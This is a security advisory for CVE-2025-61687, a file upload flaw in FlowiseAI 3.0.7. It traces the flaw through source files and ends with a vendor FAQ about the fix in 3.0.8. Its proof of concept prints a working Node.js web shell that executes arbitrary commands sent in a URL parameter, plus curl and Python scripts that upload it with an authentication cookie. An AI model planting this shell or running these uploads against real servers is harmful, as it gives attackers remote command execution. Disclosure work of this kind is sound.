CVE-2025-61687

A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details

The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.

The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.

Taint Flow

• Taint 01: Route Registration
  POST file requests are routed to the controller via Multer
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8

• Taint 02: Multer Settings
  Uploaded files are stored temporarily before further handling
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954

• Taint 03: Controller
  Receives the file from Multer and delegates to the service
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11

• Taint 04: Service Layer
  Processes the file and sends results back to controller
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16

• Taint 05: createFileAttachment
  Extracts metadata, moves file to permanent storage
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126

• Taint 06: File Save Path
  Creates storage directory and saves file
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541

• Taint 07: File Filtering
  Filters dangerous characters in file names but does not reject malicious content
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111

PoC

shell.js (Node.js Web Shell)

const { exec } = require('child_process');
const http = require('http');

const server = http.createServer((req, res) => {
    const url = new URL(req.url, 'http://localhost');
    const cmd = url.searchParams.get('cmd');

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) => {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || ''}`);
            } else {
                res.end(stdout || 'Command executed successfully');
            }
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(`
            <h1>Node.js Web Shell</h1>
            <p>Use ?cmd=command to execute</p>
            <p>Example: ?cmd=id</p>
        `);
    }
});

const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

curl Upload

curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
  -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
  -F "[email protected];type=application/javascript"

Python Upload Script

import requests
import uuid

TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())

def upload_shell():
    url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
    headers = {'Cookie': f'jwt={TOKEN}'}
    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print("[✓] Upload success")
        print(r.text)
    else:
        print(f"[✗] Upload failed ({r.status_code})")
        print(r.text)

if __name__ == "__main__":
    upload_shell()

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

The application accepts file uploads without adequately restricting the file type or content. Typical impact: remote code execution if the uploaded file can be served and executed on the server.

CVE-2025-61687 has a CVSS score of 8.3 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.8); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-61687? CVE-2025-61687 is a high-severity unrestricted upload of dangerous file types vulnerability in flowise (npm), affecting versions = 3.0.7. It is fixed in 3.0.8. The application accepts file uploads without adequately restricting the file type or content.
2. How severe is CVE-2025-61687? CVE-2025-61687 has a CVSS score of 8.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of flowise are affected by CVE-2025-61687? flowise (npm) versions = 3.0.7 is affected.
4. Is there a fix for CVE-2025-61687? Yes. CVE-2025-61687 is fixed in 3.0.8. Upgrade to this version or later.
5. Is CVE-2025-61687 exploitable, and should I be worried? Whether CVE-2025-61687 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-61687 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-61687? Upgrade flowise to 3.0.8 or later.

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